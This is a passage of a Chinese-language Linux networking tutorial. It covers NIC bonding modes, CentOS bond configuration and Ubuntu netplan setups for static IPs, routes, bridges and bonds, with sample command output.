      容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
      需要交换机配置为port channel

    • mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接口分别发送出去,当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。

    • mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚
      合)在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态通过该协议自动进行维护。
      负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。
      容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量。
      需要交换机支持LACP协议

    • mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡)
      在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口口出故障了,另一个物理接口接管该故障物理口的MAC地址。
      需要ethtool支持获取每个slave的速率

    • mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡)
      该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何
      switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同的硬件地址进行通信。

    mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只占了小部分流量

    说明:

    常用的模式为 0,1,3,6
    mode 1、5、6 不需要交换机设置
    mode 0、2、3、4需要交换机设置
    active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
    要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模
    式4中需要 LACP和 EtherChannel
    

    5.7.2 Bonding 配置

    详细帮助

    /usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
    https://www.kernel.org/doc/Documentation/networking/bonding.txt
    

    创建bonding设备的配置文件

    /etc/sysconfig/network-scripts/ifcfg-bond0
        NAME=bond0
        TYPE=bond
        DEVICE=bond0
        BOOTPROTO=none
        IPADDR=10.0.0.100
        PREFIX=8
        #miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
        条线路不通就转入另一条线路
        BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"
    
    /etc/sysconfig/network-scripts/ifcfg-eth0
        NAME=eth0
        DEVICE=eth0
        BOOTPROTO=none
        MASTER=bond0
        SLAVE=yes
        ONBOOT=yes
    /etc/sysconfig/network-scripts/ifcfg-eth1
        NAME=eth1
        DEVICE=eth1
        BOOTPROTO=none
        MASTER=bond0
        SLAVE=yes
        ONBOOT=yes
    

    查看bond0状态
    /proc/net/bonding/bond0

    删除bond0
    ifconfig bond0 down
    rmmod bonding

    三、ubuntu网络配置

    1.网卡名称修改

    ubuntu修改网卡名称:

    #修改配置文件为下面形式
    root@ubuntu1804:~#vi /etc/default/grub
    GRUB_CMDLINE_LINUX="net.ifnames=0"
    #或者sed修改
    root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#' /etc/default/grub
    root@maple-u18:~# grub-mkconfig -o /boot/grub/grub.cfg ;reboot
    

    2. 配置静态IP

    ubuntu在18.04版本中的网络配置已经由
    /etc/network/interfaces 换成了/etc/netplan/*.yaml配置文件了。
    网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放
    yml后缀不可以。
    可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里

    root@ubuntu1804:~# vim /etc/network/interfaces
    # ifupdown has been replaced by netplan(5) on this system.  See
    # /etc/netplan for current configuration.
    # To re-enable ifupdown on this system, you can run:
    #    sudo apt install ifupdown
    

    范例

    vim /etc/netplan/01-netcfg.yaml
    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          addresses: [10.0.0.151/24,1.1.1.1/32] #和下面方式不能混合用
            - 10.0.0.151/24
            - 1.1.1.1/32
          nameservers:
            search: [maple.com,maple.org]
            addresses:
              - 114.114.114.114
              - 8.8.8.8
          gateway4: 10.0.0.2
    

    注意:地址一项必须加中括号,即使只有一个地址。

    生效

    netplan apply #加载网卡配置文件
    ip a #查看地址是否生效
    route -n  #查看网关是否生效
    cat /etc/resolv.conf  #仅有search加到配置文件中了,dns没看到。
    ll /etc/resolv.conf   #可以看到在ubuntu中resolv文件由systemd统一管理了。
    systemd-resolv --status  #可以看到配置的DNS,
    # resolvectl status Ubuntu 20.04新命令
    

    search的作用
    当只ping主机名时,自动补全后面的域名。
    例:网卡配置文件里已经配置了search

    vim /etc/host
    127.0.0.1       localhost www.maple.com
    
    root@ubuntu1804:/etc/netplan# ping www
    PING www.maple.com (127.0.0.1) 56(84) bytes of data.
    64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.009 ms
    

    3. 配置自动获取IP

    vim /etc/netplan/01-netcfg.yaml
    network:
    version: 2
    renderer: networkd
    ethernets:
     eth0:
      dhcp4: yes
    

    4. 配置多⽹卡静态IP和静态路由

    mv eth0.yaml netcfg.yaml
    vim netcfg.yaml 
    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          dhcp4: no
          dhcp6: no
          addresses:
            - 10.0.0.151/24
            - 1.1.1.1/32
          nameservers:
            search: [maple.com,maple.org]
            addresses:
              - 114.114.114.114
              - 8.8.8.8
          gateway4: 10.0.0.2
        eth1:
          dhcp4: no
          dhcp6: no
          addresses: [10.20.0.100/24]
          nameservers:
            addresses: [223.6.6.6]
          routes:
            - to: 10.30.0.0/24   #去往该网段的路由
              via: 10.20.0.1     #下一跳为10.20.0.1
            - to: 10.40.0.0/24
              via: 10.20.0.1
            - to: 10.50.0.0/24
              via: 10.20.0.1
            - to: 10.60.0.0/24
              via: 10.20.0.1
    
       73  history 
    root@ubuntu1804:/etc/netplan# !70
    ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.151/24 brd 10.0.0.255 scope global eth0
           valid_lft forever preferred_lft forever
        inet 1.1.1.1/32 scope global eth0
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
           valid_lft forever preferred_lft forever
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
        inet 10.20.0.100/24 brd 10.20.0.255 scope global eth1
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:fead:3d87/64 scope link 
           valid_lft forever preferred_lft forever
    root@ubuntu1804:/etc/netplan# route -n
    Kernel IP routing table
    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
    0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 eth0
    10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
    10.20.0.0       0.0.0.0         255.255.255.0   U     0      0        0 eth1
    10.30.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
    10.40.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
    10.50.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
    10.60.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1                    
    

    5. 配置单网桥连接:

    三个网卡在一个配置文件里

    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          dhcp4: yes
        eth1:
          dhcp4: no
          dhcp6: no
        eth2:
          dhcp4: no
          dhcp6: no
      bridges:
        br0:
          dhcp4: no
          dhcp6: no
          addresses: [10.0.0.161/24]
          nameservers:
            addresses: [114.114.114.114,8.8.8.8]
          gateway4: 10.0.0.2
          interfaces:
            - eth1
            - eth2
    

    也可以一个网卡一个配置文件,网桥配置单独抽离出配置文件

    netcfg.yaml
    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          dhcp4: yes
    
    br0.yaml
    network:
      version: 2
      renderer: networkd
      ethernets:
        eth1:
          dhcp4: no
          dhcp6: no
        eth2:
          dhcp4: no
          dhcp6: no
      bridges:
        br0:
          dhcp4: no
          dhcp6: no
          addresses: [10.0.0.161/24]
          nameservers:
            addresses: [114.114.114.114,8.8.8.8]
          gateway4: 10.0.0.2
          interfaces:
            - eth1
            - eth2
    
    root@ubuntu1804:/etc/netplan# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.151/24 brd 10.0.0.255 scope global dynamic eth0
           valid_lft 1634sec preferred_lft 1634sec
        inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
           valid_lft forever preferred_lft forever
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
        link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
    4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
        link/ether 00:0c:29:ad:3d:91 brd ff:ff:ff:ff:ff:ff
    5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
        link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.161/24 brd 10.0.0.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::800c:13ff:fefb:6526/64 scope link 
           valid_lft forever preferred_lft forever
    
    

    br0将eth1和eth2连接到自身,和eth1和eth2网络在同一网段的能够相互通信,
    我这里的IP分配的稍微有问题,eth0的dhcp地址池分配的ip也是10网段的了,导致路由表里面有10网段的路由有两条记录
    并且我宿主机10.0.0.1ssh连不上 10.0.0.151eth0接口了。
    在主机里面加一条主机路由到宿主机即可ssh
    route add -host 10.0.0.1/32 dev eth0

    配置多网桥同样配置,在bridges下加个br1即可。

    6. 配置多网卡绑定-链路聚合

    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          dhcp4: no
          dhcp6: no
        eth1:
          dhcp4: no
          dhcp6: no
      bonds:
        bond0:
          interfaces:
            - eth0
            - eth1
          addresses: [10.0.0.151/24]
          gateway4: 10.0.0.2
          nameservers:
            addresses: [223.6.6.6,114.114.114.114]
          parameters:
            mode: active-backup
            mii-monitor-interval: 100
    

    ping测试,当断掉其中一个网卡时,能够正常ping通,当两个网卡都断掉之后,网络断开。重新接入网卡,网络恢复正常

    7. 双⽹卡绑定+桥接

    将做了网卡绑定的bond在桥接在网桥上。

    network:
      version: 2
      renderer: networkd
      ethernets:
        eth0:
          dhcp4: no
          dhcp6: no
        eth1:
          dhcp4: no
          dhcp6: no
      bonds:
        bond0:
          interfaces:
            - eth0
            - eth1
          parameters:
            mode: active-backup
            mii-monitor-interval: 100
      bridges:
        br0:
          addresses: [10.0.0.151/24]
          gateway4: 10.0.0.2
          nameservers:
            addresses: [223.6.6.6,114.114.114.114]
          interfaces:
            - bond0
    
    root@ubuntu1804:/etc/netplan# route -n
    Kernel IP routing table
    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
    0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 br0
    10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 br0
    root@ubuntu1804:/etc/netplan# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
        link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
    3: eth1: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
        link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
    4: bond0: <BROADCAST,MULTICAST,MASTER,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state UP group default qlen 1000
        link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
    5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
        link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.151/24 brd 10.0.0.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::800c:13ff:fefb:6526/64 scope link 
           valid_lft forever preferred_lft forever
    

    网卡的多组绑定:同理,配置多个bond,每个bond绑定多个网卡

    多网卡绑定+多桥接:将多个bond根据业务需求接到不同的网桥,实现业务互通和隔离。

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 38,254
精华内容 15,301
关键字:

linux配置网络

linux 订阅